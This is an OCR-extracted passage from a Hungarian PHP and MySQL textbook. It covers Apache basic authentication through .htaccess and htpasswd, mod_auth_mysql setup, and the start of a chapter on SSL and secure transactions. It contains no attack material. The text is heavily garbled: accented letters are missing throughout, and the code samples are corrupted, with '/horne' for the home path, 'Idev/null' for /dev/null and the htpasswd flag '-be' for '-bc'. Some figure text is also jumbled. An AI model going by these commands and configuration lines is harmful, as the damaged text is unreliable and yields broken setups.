17.7 pldakd: . htaccess- Egy . htaccess fjl tbb Apache konfigurcis belltst szablyozhat, gy a hitelests aktivlst is
ErrorDocument 401

/l7_feJezet/elutasitas.html

AuthUserFile /horne/book/.htpass
AuthGroupFile /dev/null
AuthName

"Realm-Nev"

AuthType Basic
require

valid-user

A 17.7 pldakd egy

htaccess

fjl, ami az adott knyvtrban bekapcsolja az alapszint hitelestsr. Sok bellts megad

hat egy . htaccess fjlban, de a pldban szerepl hat sor mind a hitelesrssei kapcsolatos.
Az els sor
ErrorDocument
azt

401 /l7_feJezet/elutasitas.html

kzli az Apache-csel, hogy rnilyen dokumentumot jelentsen meg sikertelen hitelests esern (HTTP 401-es hiba). Ms

ErrorDocument

direktvkkal sajt oldalakat lltharunk be az olyan hibkhoz is, mint pldul a 404-es. Az ehhez haszn

land szintaktika:
ErrorDocument hiba szarna

URL

A 401-es hibt kezel oldal esetben fontos, hogy a megadort URL nyilvnosan elrhet legyen. Nem sok rtelme lenne
testreszabort hibaoldalon kzlni az emberekkel, hogy hitelestsk sikertelen volt, ha ezt az oldalt olyan knyvrrba helyez
nnk, amit csak sikeres hitelests utn tekinthernek meg.
A msodik sor
AuthUserFile /home/book/.htpass

kzli az Apache-csel, hol tallja a jogosult felhasznJk jelszavait tartalmaz fjlt. Ennek ltalban . htpass a neve, de br
milyen, neknk tetsz mdon elnevezhetjk. Nem az a fontos, hogy hogyan hvjuk, hanem hogy hol troljuk. Nem szabad
a webknyvtrban

trolni- ott, ahol a webszerveren keres.zrl brki letltheti. A pldban hasznlt . htpass fjlt a 17.8

minrakdban ralljuk.
Nem csupn azt tehetjk meg. hogy meghatrozzuk a jogosult felhasznlkat, hanem azt is megmondhatjuk, hogy csak
meghatrozort csoportokba tartoz jogosult felhasznJk rhetik el az informciforrsokat. A pldban ezt nem tesszk,
ezrt az albbi sor:

17

274

17. fejezet

AuthGroupFile Idev/null

az AuthGroupFile-lal a /dev/null-ra mutat, ami Unix rendszerek esetben olyan klnleges fjl, amely garantltan res.
Ahogy a PHP-s pldban, a HTT P hitelests hasznlathoz itt is meg kell neveznnk a tartomnyt:
AuthName "Realrn-Nev"

Tetszleges tartomnynevet vlaszthatunk, de ne feledjk, hogy a nevet a ltogatk is ltni fogjk! Hogy nyilvnvalv te
gyk, hogy a pldban szerepl nevet meg kell vltoztarni, tartomnyunknak a "Realrn-Nev" nevet adtuk.
Mivel tbb klnbz hitelestsi mdszer is tmogatott, meg kell hatrozni, hogy melyiket kvnjuk hasznlni. Pldnkban
a Basic, vagyis alapszint hitelestssei dolgozunk, ahogy ez az tdik sorbl is kiderl:
AuthType Basic

Azt is meg kell hatroznunk, hogy kinek engedlyezzk a hozzfrst. Megadhatunk konkrt felhasznlkat, konkrt cso
portokat vagy- mint ahogy a pldban is tettk- egyszeren minden hitelestett felhasznlnak hozzfrst adhatunk. Az
albbi sor:
require valid-user

azt jelzi, hogy minden szablyos felhasznl szmra engedlyezzk a hozzfrst.


17.8 pldakd:. htpass- A

jelszfjl trolja a felhasznli neveket s aJelhasznlk titkostott jelszavt

felhasznalol:OnRp9M80GS7zM
felhasznalo2:nC13sOTOhp.ow
felhasznalo3:yjQMCPWjXFTzU
felhasznalo4:LOrnlMEi/hArne2

A . htpass fjl minden sorban egy felhasznli nevet, kettspontot s az adott felhasznli nvhez tartoz titkostott
jelszt tallunk. A . htpass pontos tartalma vltoz lesz. Ltrehozshoz egy htpasswd nev kis prograrnot hasznlunk,
amely az Apache disztribciban rnegrallhat.
A htpasswd prograrnot ktflekppen hasznlhatjuk:
htpasswd

[-crndps)

jelszofajl felhasznaloinev

vagy
htpasswd -b[crndps)

jelszofajl felhasznaloinev jelszo

Egyetlen kapcsolt kell hasznlnunk, ez a -c.Hasznlatval kzljk a htpasswd-vel, hogy hozza ltre a fjlt. Az els
felhasznl hozzadsakor van szksge erre a kapcsolra. Figyeljnk, hogy a tbbi felhasznlnl mr ne hasznljuk, mert ha
a fjl mr ltezik, a htpasswd trli, s jat hoz ltre!
Az opcionlis rn, d, p s s kapcsolval a hasznlni kvnt titkostsi algoritmust (vagy a titkosts hinyt) hatrozhatjuk
meg.
A b kapcsal kzli a programmal, hogy a jelszt pramterknt vrja, ne pedig krje azt. Ez a funkci akkor hasznos, ha
nem interaktvan, ktegelt (batch) folyamat rszeknt kvnjuk meghvni a htpasswd programot, de ne hasznljuk, ha a pa
rancssorbl hvjuk meg!
Az albbi parancsok hoztk ltre a 17.8 pldakdban lthat fjlt:
htpasswd -be /horne/book/.htpass felhasznalal jelszal
htpasswd -b /horne/book/.htpass felhasznalo2 jelszo2
htpasswd -b /horne/book/.htpass felhasznalo3 jelszo3
htpasswd -b /horne/book/.htpass felhasznalo4 jelszo4

17

A htpasswd nem felttlenl tallhat meg elrsi tvonalunkon, ebben az esetben a teljes elrsi tjt meg kell adni. A leg
tbb rendszeren a /usr/local/apache/bin knyvtrban talljuk.
Az ilyen tpus hitelests knnyen bellthat, a .htaccess ilyetn hasznlata azonban felvet nhny problmt. A fel
hasznlkat s a jelszavakat szveges fjlban troljuk. Minden alkalommal, arnikor egy bngsz a . htaccess fjl ltal
vdett fjlt kr, a kiszolglnak fel kell dolgoznia a . htaccess fjlt, majd a jelszfjlt, megprblva sszeill felhasznli
nv s jelsz prost tallni. A . htaccess fjl hasznlata helyett a httpd. cont fjlban- vagyis webszervernk f konfi
gurcis fjljban- is meghatrozharnnk ugyanezeket. A . htaccess fjl rninden egyes fjlkrskor feldolgozsra kerl,
a httpd.conf fjl viszont csak a szerver elindulsakor. Ez a megkzelts gyorsabb ugyan, de azt jelenti, hogy brmilyen
vltoztatshoz le kell lltani, majd jra kell indtani a kszolglt.
Fggetlenl attl, hogy hol troljuk a szerverdirektvkat, a jelszfjlban minden egyes krsnl keresni kell. Ez azt jelenti,
hogy- minden ms, egyszer fjlt hasznl mdszerhez hasonlan- ez sem igazn alkalmazhat tbb szz vagy tbb ezer
felhasznl esetn.

Hitelests megvalstsa PHP-vel s MySQL-lel

275

Amod auth_mysql hitelests hasznlata


Ahogy mr emltettk, amod_au th hitelests knnyen bellthat az Apache-csel, s radsul hatkony is. Mivel azonban
szveges fjlban trolja a felhasznlkat, nem igazn megfelel sokak ltal ltogatott, forgalmas oldalak esetn.
Szerencsre a mod_auth_mysql hitelests az adatbzis sebessgvel tvzi a mod_auth egyszer hasznlhatsgt. Ez
amodul nagyrszt amod_auth-hoz hasonlan mkdik, de mivel szveges fjl helyett MySQL adatbzist hasznl, gyorsan

rud keresni akr igen nagy felhasznli listkban is.


Hasznlathoz fordtani kell a modult, s telepteni kell rendszernkre, vagy meg kell krnnk rendszergazdnkat, hogy
releprse.

Amod auth mysql modul teleptse


-

Amod_auth_mysql

hasznlathoz a fggelkben lertak szerint telepteni kell az Apache-t s a MySQL-t, majd nhny

rovbbi lpst kell vgrehajtani. A dsztribci README s USAGE fjljaiban kell tjkoztatst kaphatunk, br ezek egyes
helyeken korbbi verzik mkdsre utalnak. lljon most itt egy rvid sszefoglals!

l. Szerezzk be a modulhoz tartoz dsztribci tmrtett llomnyt! Ez megrallhat a knyvnek a www.perfactkiado.


hu/ mellekletek oldalrl letlthet mellkletn, de a legfrissebb vltozatot brmikor letlthetjk a http:/ l sourceforge.
net/projects/modauthmysql oldalrl.

2. Csomagoljuk ki a forrskdot!
3. Vltsunk a

mod_auth_mysql

knyvtrra, futtassuk a make, majd a make install parancsot! Elkpzelhet, hogy

a MySQL teleptsi mappjt meg kell vltoztaeni a MakeFile fjlban.

4. Annak rdekben, hogy a modul dnarnikusan tltdjn be az Apache-be, adjuk az albbi sort a httpd.conf-hoz:
LoadModule

mysql_auth_module

libexec/mod_auth_mysql.so

5. Hozzuk ltre MySQL-ben a hitelestsi informcikat tartalmaz adatbzist s tblt! Nem kell, hogy ez kln adatb
zis vagy tbla legyen, hasznlhatunk meglvt is, pldul a fejezet korbbi pldjban szerepl

hitelesites

adatbzist.

6. Adjuk hozz a httpd. conf fjlhoz az albbi sort, hogy megadjuk amod _auth_mysql szmra a MySQL-hez csat
lakozshoz szksges paramtereket! A direktva gy nz ki:
Auth_MySQL_Info

hostnev felhasznaloi_nev jelsze

Legegyszerbben gy ellenrizhetjk, hogy jl dolgoztunk-e, ha megnzzk, elindul-e az Apache. Indtshoz gpeljk be


a kvetkezket:

/usr/local/apache/bin/apachectl startssl

Ha a httpd. conf fjlban az Auth_MySQL_Info drektvval indul az Apache, akkor sikeresen hozzadtuk
amod_auth_mysql

modult.

Amod_auth_mysql modul hasznlata


Sikeres teleptse utn amod_auth_mysql modult semmivel sem bonyolultabb hasznlni, mint amod_auth modult.
A 17.9
tott

pldakd olyan . htaccess fjlt tartalmaz, amely a fejezet korbbi rszben ltrehozott adatbzisban trolt, titkos

jelszavakkal hitelesti a felhasznlkat.

17.9 pldakd:

.htaccess-

ErrorDocument 401 /17

Ez a .htaccessfjl MySQL adatbzis alapjn hitelesti a felhasznlkat

fejezet/elutasitas.html

AuthName "Realm Nev"


AuthType Basic

Auth_MySQL_DB hitelesites
Auth_MySQL_Encryption_Types MySQL
Auth_MySQL_Password_Table jogosult_felhasznalok
Auth_MySQL_Username_Field nev
Auth_MySQL_Password_Field jelsze

require valid-user

17

276

17. fezet

Lthat, hogy a 17.9 pldakd nagyrszt megegyezik a 17.7-essel. Itt is meghatrozzuk a 401-es hiba (sikertelen hitelests)
esetn megjelentend dokumentumot. Szintn az alapszint hitelestse vlasztj uk, s elnevezzk a tartomnyt. s akrcsak
a 17.7 pldakdban, itt is minden hitelestett felhasznl szmra megadott a hozzfrs.
Mivel mod_auth_mysql hitelesrst hasznlunk, s nem minden alaprtelmezett belltst kvntunk megtartani, di
rektvk segtsgvel mdostottuk a hitelests mkdst. Az Auth_MySQL_DB, az Auth _MySQL_Password _ Table, az
Auth_MySQL_Username _Field

s az Auth_MySQL_Password_Field hatrozza meg az adatbzis, a tbla, illetve a fel

hasznli nv mezjnek a nevt.


Az Auth_MySQL_Encryption Types direktvval adjuk meg, hogy MySQL jelsztitkosrst kvnunk hasznlni. Ennl
_

a direktvnl a Plaintext, a Crypt_DES s a MySQL lehetsg kzl vlaszthatunk. Az alaprtelmezett Crypt_DES le


hetsg szabvnyos Unix DES-titkosts jelszavakat hasznl.
A Felhasznlk szempontjbl ez a mod_auth_mysql modulos plda pontosan gy mkdik, mint a mod_auth modu
los. A felhasznl bngszje egy prbeszdablakot jelent meg. Sikeres hitelests esetn a felhasznl megtekntheti a tartal
mat. Ha a hitelests sikertelen, a hibaoldal jelenik meg.
Sok weboldal szmra a mod _auth_ mysql az idelis megolds. Gyors s viszonylag egyszeren megvalsthat, illetve
lehetv teszi, hogy az j felhasznlkat knyelmes mdszerekkel vigyk be az adatbzisba. Ha nagyobb rugalmassgra s ap
rlkosabb szablyozsra van szksgnk, rdemes PHP s MySQL hasznlatval egyni hitelestsi mdszert kdolgozni.

Egyni hitelestsi folyamat ltrehozsa


Ebben a fejezetben megvizsgltuk, hogyan hozhatjuk ltre beptett hitelestsi mdszerek segtsgvel sajt hitelestsi elj
rsainkat. Ezek szksgszeren kevsb rugalmasak, mintha a teljes kdot mi magunk rtuk volna, s hasznlarukkor kny
telenek vagyunk elfogadni bizonyos hibkat s kompromisszumokat. A knyv egy ksbbi rszben, a munkamenet-vezrls
megismerse utn olyan egyni hitelestsi eljrsokat tudunk majd rni, amelyeknl kevesebb kompromisszumot lesznk
knytelenek ktni.
A 23. fejezetben olyan egyszer hitelestsi rendszert dolgozunk k, amely munkameneteket hasznl a vltozk oldalak k
ztti nyomon kvetsre, gy kzdi le az ebben a fejezetben ltott problmk egy rszt.
A 27. fejezetben egy vals vilgbeli projekere alkalmazzuk ezt a megkzeltst, hogy lssuk, miknt lehet finoman szablyoz
hat hitelestsi rendszer megvalstsra hasznlni.

Tovbbi olvasnival
A HTTP hitelestsrl rszletesen a http:/ /www.rfc-editor.org/rfc/rfc2617.txt cmen elrhet RFC 2617 ajnlsban
olvashatunk.
Az Apache-ben az alapszint hitelesrst szablyoz mod_auth dokumentcijt a http://httpd.apache.org/docs/2.0/
mod/mod_auth.html cmen rjk el.
Amod_auth_mysql

dokumentcijt a letlttt tmrtett llomnyban tallj uk. Mivel a letlts mrete nem nagy, mr

csak azrt is rdemes letlteni a tmrtett llomnyt s megnzni a readme fjlt, hogy tovbbi informcit szerezhessnk
errl a modulrl.

Hogyan tovbb
A kvetkez fejezetben azt mutatjuk be, hogyan rkdjnk adataink biztonsga felett a bevitel, a tovbbts s a trols sszes
rszfolyamata sorn. Ehhez szksg lesz az SSL, a digitlis tanstvnyok s a titkosts hasznlatra.

17

18
Biztonsgos tranzakcik vgrehajtsa
PHP vel s MySQL ... Iel
...

A fejezet sorn megtudhag uk, hogy kezeljk biztonsgosan a felhasznli adatokar bevicelk, tovbbtsuk s trolsuk sorn.
Ezzel megteremthetjk az oldalunk s a felhasznJk kzcci, celjes egszben biztonsgos tranzakci lehecsgt.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Biztonsgos tranzakcik megteremtse
A Secure Sockets Layer (SSL) protokoll hasznlata
Biztonsgos trols megvalsrsa
Hitelkrtyaszmok trolsa
Titkosts hasznlata PHP-ben

Biztonsgos tranzakcik megteremtse


Az interneten keresztli biztonsgos tranzakcik megteremtshez meg kell vizsglnunk, hogyan mozog rendszernkben az infor
mci, s nnden ponton gondoskodnunk kell biztonsgrL Az informarikai hlzatok terletn nem beszlhetnk abszolt biz
tonsgrl. Soha senki nem tud olyan rendszere ltrehozni, amelybe nem lehet behatolni. A biztonsg alatt azt rqk, hogy a rendszer
vagy adattvitel feltrshez szksges erfesztsek nagysgrendje elri vagy meghaladja az rintert informcik rtkr.
Ha szetetnnk hatkony erfesztseket tenni a biztonsg rdekben, vizsgljuk meg, hogyan ramlik az informci rendsze
rnk klnbz rszei kztt. A 18.1 bra PHP s MySQL hasznlatval megrt, tipikus alkalmazs esetn mutatja a felhasz
nli informci tjt.
-
Felhasznl

Web-

MySQL

szerver

motor

Trolt
oldalak

Adat-

MySQL

fjlok

adatok

18.1 bra: Egy tipikus webes alkalmazs jellemzen az albbi trol, feldolgoz elemekbl pl fel.
Rendszernk kialaktscl, illetve a cranzakcit kivlt felhasznli adatoktl s mveletekcl fggen a rendszernkben
elfordul tranzakcik rszletei eltrhecnek a fenti smtL Minden tranzakcit ugyangy rdemes megvizsglni. A webes
alkalmazs s a felhasznl kzrti sszes tranzakci azzal indul, hogy a felhasznl bngszje az interneten keresztl krst
intz a kiszolglhoz. Ha az oldal PHP kdban tallhat, a kiszolgl az oldal feldolgozst a PHP motorra bzza.
A PHP kd olvashaqa s lemezre rhatja az adatokat. Az include ( ) s a require ( ) urasrssal ms PHP s HTML
fjlokat is beilleszchet. Az SQL lekrdezseket elkldi a MySQL dmonnak, s fogadja az arrl rkez vlaszokat. A MySQL
motor felels a sajt adatainak olvassrt s lemezre rsrt.

278

18.

fejezet

A rendszer hrom f alkotelembl ll:


A felhasznl gpe
Az internet
Sajt rendszernk
A kvetkezkben kln-kln foglalkozunk ezen alkotelemek biztonsgi krdseivel, de nyilvnval, hogy a felhasznl
gpe s az internet felett igen kevs befolyssal brunk.

A felhasznl gpe
Rendszernk szempontjbl a felhasznl gpe bngszt vagy bngszket futtat. Semmilyen rhatsunk nincsen az olyan
tnyezkre, mint pldul a gp biztonsgi belltsai. Gondolnunk kell arra is, hogy a gp esetleg egyltaln nem biztonsgos,
vagy lehet knyvtrban, iskolban, internetkvzban tallhat, megosztott terminl is.
Tbbfle bngsz ltezik, s mindegyik kiss eltr funkcikat s jellemzket knl. Ha csak a kt legnpszerbb bngsz
legfrissebb verziira gondolunk, akkor a kztk lv klnbsgek nagy rsze a HTML kd kezelsre s megjelentsre korl
tozdik, m neknk a biztonsgi s a funkcionlis krdsekkel is foglalkoznunk kell.
Ne feledjk, hogy egyes felhasznJk kikapcsoljk a szerintk biztonsgi vagy adatvdelmi kockzatokkal jr funkcikat,
pldul aJavt, a stiket vagy aJavaScriptet. Ha alkalmazsunk pt ezekre a funkcikra, akkor mindenkppen teszteljk, hogy
miknt mkdik az ezeket nem engedlyez felhasznlknl. Vagy mdegeijk egy kevsb funkcigazdag kezelfellet kiala
ktst, amellyel az ilyen vatos emberek is hasznlni tudjk oldal unkat.
Elfordulhat, hogy az Egyeslt llamokon s Kanadn kivli felhasznJk bngszje csak a 40 bites ritkosrst tmogatja.
Annak ellenre, hogy az amerikai kormnyzat 2000 janurjban trvnymdostssal engedlyezte az ersebb ritkosrsi md
szer exportlst (a nem embargs orszgokba), s a legtbb felhasznl szmra ma mt a 128 bites vltozatok is elrhetk,
nem biztos, hogy mindenki frisstette bngszjt. Webfejlesztknt mindazonltal nem szksges tlzottan aggdni e krds
miatt, kivve, ha oldalunk szvegben garantljuk a felhasznlknak a biztonsgot. Az SSL automatikusan egyeztet kiszolg
lnk s a felhasznl bngszje kztt, hogy a mindkett ltal kezelni kpes legmagasabb szint biztonsg mellett kommuni
kljanak egymssal.
Nem lehetnk biztosak benne, hogy az oldalunkhoz az ltalunk kivnt felleten keresztl kapcsold bngszvel foglalko
zunk. Az oldalunkhoz rkez krsek jhetnek a kpeket vagy a tartalmat ellop ms oldalrl vagy a biztonsgi intzkedseink
megkerlsre alkalmas szoftvert, pldul cURL-t hasznl szemlytL
A bngszktl rkez csatlakozsok szimullsra alkalmas cURL knyvtrral a Hlzati s protokollfggvnyek hasznlata
cm 20. fejezetben foglalkozunk majd. Fejlesztknt igen hasznos lehet szmunkra ez az eszkz, ugyanakkor rosszindulatan
is hasznlhat.
Ugyan a felhasznJk gpeinek belltsait nem tudjuk sem mdostani, sem szablyozni, figyelembe kell vennnk eze
ket a krdseket. A felhasznJk gpei kzrt lehetsges komoly klnbsgek befolysolhatjk, hogy milyen funkcikat te
sznk elrhetv a szerveroldali programozsban (pldul PHP-ben) s milyeneket a kliensoldali programozsban (pldul
JavaScriptben).
A PHP-ben megteremtett funkcik minden felhasznl bngszjvel kompatibilisek lehemek, mivel a kd eredmnye
egyszeren egy HTML oldal. A nagyon alapvetJavaScript kdon tl brmit hasznlunk, figyelembe kell venni az egyes bn
gszk (s azok klnbz verziinak) eltr mkdst.
Az olyan feladatoknl, mint pldul az adatrvnyests, biztonsgi szempontbl jobban jrunk szerveroldali programozs
sal, mivel forrskdunk ebben az esetben nem lesz lthat a felhasznJk szmra. Ha kizrlagJavaScriptben ellenrizzk az
adatokat, a felhasznJk megtekinthetik s esetleg kijtszhatjk a kdot.
A megrizni szksges adatokat trolhatjuk sajt gpeinken fjlknt vagy adatbzisrekordknt, illetve a felhasznJk gpn
stiknt. A srik hasznlatval korltozott mennyisg adat (munkamenetkulcs) trolsra a Munkamenet-vezrls PHP-ben
cm 23. fejezetben foglalkozunk majd.
A trolni kvnt adatok tbbsgnek webszervernkn vagy adatbzisunkban a helye. Szmos j oka van annak, hogy
a felhasznl gpn mitt csak a lehet legkevesebb adatot szabad trolni. A rendszernkn kvl elhelyezked informcinl
nincsen rhatsunk annak biztonsgos trolsra, nem lehetnk biztosak abban, hogy a felhasznl nem trli ki, illetve nem
tudjuk megakadlyozni, hogy rendszernk kijtszsra irnyul prblkozsa sorn a felhasznl ne mdostsa azt.

18

Az internet
Nem csak a felhasznJk gpeire, az internet tulajdonsgaira is nagyon csekly a rhatsunk, m ez nem azt jelenti, hogy rend
szernk tervezse sorn figyelmen kvl hagyhatjuk ezeket a tulajdonsgokat.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

279

Az internet szmos pomps jellemzvel br, de jellegbl addan egy nem biztonsgos hlzatrl van sz. Amikor inform
cit kldnk az egyik pontrl a msikra, egy pillanatra sem szabad elfelejtennk, hogy a kldtt informcit msok megtekint
hetik vagy akr mdosthatjk. Errl mr esett sz Az e-kereskedelem biztonsgi krdsei cm 15. fejezetben. Ennek tudatban
kell eidntennk, hogy milyen intzkedst kvnunk tenni.
A szba jhet lehetsgeink:
A fentiektl fggetlenl elkldjk az informcit, tudva azt, hogy msok megtekinthetik s esetleg mdostjk.
Klds eltt digiclisan alrjuk az informcit, hogy vdjk a mdostscl.
Klds eltt titkostjuk az informcit, hogy megrizzk titkossgt, s vdjk a mdoststl.
gy hatrozunk, hogy az informci tl bizalmas ahhoz, hogy kockztassuk az illetkeelen kezekbe kerlst, s ms
mdszerc keresnk az eljuttatsra.
Az internet nagyfok nvtelensget biztost kzeg. Igen nehz meggyzdni arrl, hogy tnyleg azzal a szemllyel llunk
kapcsolatban, akinek kiadja magt. Mg ha sajt cljainknak megfelelen meg is bizonyosodunk a felhasznl szemlyazo
nossgrl, igen problms lenne ugyanezt olyan frum eltt is bizonytani, mint pldul a brsg. Mindez a letagadhacsg
szintjn okoz problmkat, amirl a 15. fejezetben mr esett sz.
Rviden: az adatvdelem s a letagadhatsg fontos krds az interneten keresztl folytatott tranzakcik esetben. Legalbb
ktfle mdszer ltezik a kiszolglnkra rkez s onnan indul informci biztonsgoss ttelre:
Secure Sockets Layer (SSL) protokoll
Secure Hypertext Transfer Protocol (S-HTTP)
Mindkc technolgia titkos, mdosthatsgtl mentes zenetkldst s hitelestse knl, de mg az SSL szles krben elr
het s hasznlt, az S-HTTP nem igazn terjedt el. A fejezet ksbbi rszben rszletesen foglalkozunk az SSL-lel.

Sajt rendszernk
A vilgegyetem ltalunk tnylegesen kontroll alatt tarthat rsze a sajt rendszernk, ami a 18.1 brn a cglalapon belli al
kotelemekbl ll ssze. Ezek az alkotelemek fizikailag elklnlhetnek a hlzaton, de az is elfordul, hogy egyetlen gpen
helyezkednek el.
Viszonylag biztonsgban tudhatjuk az informcit, amg a webes tartalmaink tovbbtsra hasznlt, ms gyrtk ksztette
termkek kezelik azt. Ezen szofcverek fejleszti minden bizonnyal tbbet foglalkoztak a biztonsggal, mint amennyi idt mi
fordtani tudunk a dologra. Feltve, hogy valamely jl ismert termk friss verzijt futtatjuk, a Google vagy kedvenc keresnk
rudatos hasznlatval minden fontos problmrl tudomst szerezhetnk. Tudatostsuk magunkban, hogy igen lnyeges nap
raksznek maradnunk e tren!
Ha a mi feladatunk a telepts s a konfigurls is, rdemes foglalkoznunk azzal, hogyan leetek teleptve s konfigurlva az
egyes szofcverek. A biztonsg tern elkvetett sok hiba a dokumentciban szerepl figyelmeztetsek figyelmen kvl hagy
sbl ered, vagy ltalnos, a jelen knyv tartalmi korltain kvl es, rendszergazdai krdsek miatt kvetkezik be. rdemes
elolvasni egy j knyvet az ltalunk hasznlni kvnt opercis rendszer belltsrl, vagy fizessk meg egy hozzrt rend
szergazda szolglatait!
A PHP teleptsekor mrlegelend szempont, hogy a SAPI modulknt webszervernkre teleptse ltalban biztonsgo
sabb s hatkonyabb, mint CGI felleten keresztli futtatsa.
Webes alkalmazsok fejlesztjeknt elsdlegesen azzal kell foglalkoznunk, hogy kdjaink mit tesznek, illetve mit nem
tesznek. Milyen potencilisan bizalmas adatot kld alkalmazsunk a felhasznlknak interneten keresztl? Milyen bizalmas
adatok tovbbtst krjk felhasznlinkcl? Ha rendszernk s a felhasznlink kzte ritkos tranzakcikban kell adatot
tovbbtani, vagy szinte lehetedenn kell tenni annak mdoscst, akkor rdemes mrlegelni az SSL hasznlatr.
Mr szba kerlt az SSL a felhasznl szmtgpe s a kiszolgl kztti hasznlata. Kpzeljk el azt az esetet is, amikor
rendszernk kt alkoteleme kzte a hlzaton tovbbtunk adatokat! Tipikus pldja ennek az a helyzet, amikor MySQL
adatbzisunk a webszervertl eltr gpen helyezkedik el. A PHP TCP/IP protokollon keresztl csatlakozik MySQL kiszol
glnkhoz, s ez a kapcsolat nem titkostott. Ha mindkt gp privt helyi hlzaton mkdik, gondoskodnunk kell a hlzat
biztonsgrL Ha a gpek az interneten keresztl kommuniklnak, akkor rendszernk minden bizonnyal lassan fog futni, s
pontosan gy kell kezelni ezt a kapcsolatot, mint brmilyen ms, interneten keresztli kapcsolatot.
Fontos, hogy amikor a felhasznlk azt gondoljk, hogy velnk kerlnek kapcsolatba, akkor az tnyleg gy legyen. Digitlis
tanstvny regisztrlsval vdhetjk ltogatinkat a hamiststl (spoofing), vagyis az olyan tmadsoktl, arnikor valaki
oldalunk egy hamistott vltozatra csalja a ltogatkat, illetve anlkl hasznlhacunk SSL protokollt, hogy felhasznlinknak
figyelmeztet zenet jelenne meg. Radsul a digitlis tanstvny online vllalkozsunk megbzhatsgt sugallja.
A kvetkez krds, hogy kdjaink gondosan ellenrzik-e a felhasznlk ltal bevitt adatokat. Gondoskodunk-e az adatok
biztonsgos trolsrl? Ezekre a fejezet kvetkez rszeiben vlaszolunk.

18

280

18. fejezer

Secure Sockets Layer (SSL) protokoll hasznlata

A Secure Sockers Layer (biztonsgos csatlakoz rteg) prorokollkszlerer erederileg a Netscape alalerotta ki a webszerverek s
a bngszk kztti biztonsgos kommunikcihoz. Azta a bngszk s kiszolglk kztti bizalmas informcicsere nem
hivatalos szabvnyaknt alkalmazzk.
Az SSL 2-es s 3-as verzija is szles kren tmogatott. A webszerverek tbbsge vagy tartalmazza az SSL mkdsr,
vagy kiegszt modulknt fogadja. Az I nternet Explorer s a F irefox is a 3-as verzirl tmogatja az SSL-r.
A hlzati protokollokat s az azokat megvalsr szaftvereket jellernzen egymsra pakolt rtegekbe rendezik. Minden
rteg a felerre s alatta lv rtegnek tovbbrhat adatot, illetve azokrl krher szolgltatsokat. A 18.2 brn ilyen protokollver
met (protocol stack) lthatunk.
HTIP

IFTP l

SMTP

Alkalmazsrteg

...

TCP/UDP

Szlltsi rteg

IP

Hlzati rteg

Klnbz

Adatkapcsolati rteg

18.2 bra: Alkalmazsrtegbeli protokoll,


pldul a Hypertext Transfer Protocol (HTTP) ltal hasznlt protokollverem.
Amikor HTTP-r hasznlunk informcirovbbrsra, a HTTP protokoll meghvja a Transmission Control Protocolt (tviteli
vezrl protokollt -TCP), ami viszont az Internet Protoco/ra (IP) tmaszkodik. Ez utbbinak pedig megfelel protokoUra van
szksge ahhoz a hlzati eszkzhz, amit az adatcsomagok fogadsra s elektronikus jelknt trtn tovbbrsra hasznlunk.
A HTTP-r alkalmazsrtegbeli protokollnak nevezzk. Sok ms ilyen protokoll ltezik, pldul az FT P, az SMTP s a Telner
(ahogy ezt a 18.2 bra murarja), illetve a POP s az IMAP. A TCP egyike a TCP /IP hlzarokban hasznlt kr szllrsi
rtegbeli prorokollnak. Az IP a hlzati rteg szinrjn lv protokoll. Az adarkapcsolari rteg felels a host (szmitgp) h
lzathoz csatlakoztatsrt. A TCP /IP protokollverem nem hatrozza meg az ehhez a rteghez hasznlt protokollokat, mivel
a klnbz tpus hlzarokhoz ms s ms protokolira van szksgnk.
Adarkldskor az adator lekldjk a vermen r az alkalmazsrl a fizikai hlzati kzegig. Adarfogadskor az adar a fizikai
hlzarrl a vermen keresztlhaladva r fel az alkalmazsig.
Az SSL hasznlarakor mg egy rteg hozzaddik ehhez a modellhez. Az SSL a szllrsi rteg s az alkalmazsrteg kztt
helyezkedik el. Ezt a felprst lthatjuk a 18.3 brn. Az SSL mdosrja a HTML alkalmazsrl kaport adatot, s csak ezt
kveten adja t a szllrsi rtegnek, hogy az eljuttassa a clpontba.

HT TP

l l l
kzfogsSSl
protokoll

titkoshsSSL
vlts
protokoll

figyelSSL
meztet6
protokoll

SSL Record Protocol

. . .

Alkalmazsrteg
SSL rteg

TCP

Szlltsi rteg

IP

Hlzati rteg

Host to Network

Adatkapcsolati rteg

18.3 bra: Az SSL mg egy rteget ad a protokollveremhez,


illetve alkalmazsrtegbeli protokollok hozzadsval szablyazza sajt mkdst.
Az SSL kpes biztonsgos tovbbrsi krnyezetet teremteni a HTTP-rl eltr prorokolloknak. Azrt lehet ms protokol
lokat hasznlni, mert az SSL lnyegben tltsz. Az SSL ugyanazokat a fellereket knlja a felette lv prorokolloknak, mint
az alatra lv szlltsi rteg. gy tlthatan kezeli a kzfogst (handshaking), a titkosrst s a visszafejtst.
Amikor egy bngsz HTTP-n keresztl kapcsoldik biztonsgos webszerverhez, a bngsznek s a kiszolglnak kzfogsprotokollt kvetve kell megllapodnia arrl. hogy mir hasznlnak az olyan elemekhez, minr a hitelesrs s a titkosrs.
A kzfogs szakasz az albbi lpsekbl ll:

l. A bngsz SSL-t kezelni kpes kiszolglhoz csatlakozik, s megkri, hogy hitelestse magt.

18

2. A kiszolgl elkldi digitlis tanstvnyr.


3. O pcionlisan a kiszolgl is krheti a bngszt, hogy hitelestse magr (ritkn fordul el).

4. A bngsz megadja az ltala tmogatott titkostsi algoritmusok s hash fggvnyek listjt. A kiszolgl kivlasztja az
ltala tmogatott legersebb titkostsr.

Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel

281

5. A bngsz s a kiszolgl munkamenetkulcsokat llt el:

a.

A bngsz megszer a kiszolgl digitlis tansrvnybl a szerver nyilvnos kulcst, s egy vletlenszeren ell

b.

A kiszolgl egyszer szvegknt kldtt, vletlenszer adattal vlaszol (amennyiben a kiszolgl krsre a bng

c.

A munkamenet titkostsi kulcsai ezekbl a vletlenszer adatokbl lltdnak el hash fggvnyek hasznlatval.

ltott szm titkostsra hasznlja.


sz megadta digitlis tansrvnyt, akkor a kiszolgl a bngsz nyilvnos kulcst fogja hasznlni).
A j minsg vletlenszer adatok ellltsa, a digitlis tansrvnyak visszafej tse, a kulcsok generlsa s a nyilvnos
kulcs titkosts mind idt vesz ignybe, gy a kapcsolatfelvteli procedra eltart egy darabig. Az eredmnyek szerencsre
gyorsttrba kerlnek, gy ha ugyanaz a bngsz s kiszolgl tbb biztonsgos zenetet kivn vltani, a kapcsolatfelvteli
folyamat s a feldolgozs csak egyszer megy vgbe.
